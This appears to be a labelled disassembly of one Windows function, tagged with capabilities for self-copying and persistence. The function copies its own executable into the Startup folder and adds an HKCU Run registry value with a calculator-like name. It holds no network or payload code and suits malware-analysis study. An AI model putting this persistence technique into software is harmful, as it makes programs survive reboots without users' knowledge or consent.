Function at 0x140001450
Capabilities:
Copy file
Get common file path
Get startup folder
Persist via run registry key
Set registry value
Write file to startup folder

Disassembly:
push rbp
push rbx
sub rsp, 0x2b8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x110]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x21e]
mov qword [rbp + 0x228], rax
nop
nop
lea rcx, [rbp + 0x21e]
lea rdx, [rbp + 0x110]
lea rax, [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x21e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 7
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x21f]
mov qword [rbp + 0x220], rax
nop
nop
lea rcx, [rbp + 0x21f]
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x21f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xf0]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x14000156b
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rbx, rax
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp - 0x48]
mov r8, rax
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
sete al
test al, al
je 0x1400015f5
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
lea ebx, [rax + 1]
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.CalculatorAutoLaunch_7KO45DE4T5F6OJG6NFJP4
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x14000167a
add rsp, 0x2b8
pop rbx
pop rbp
ret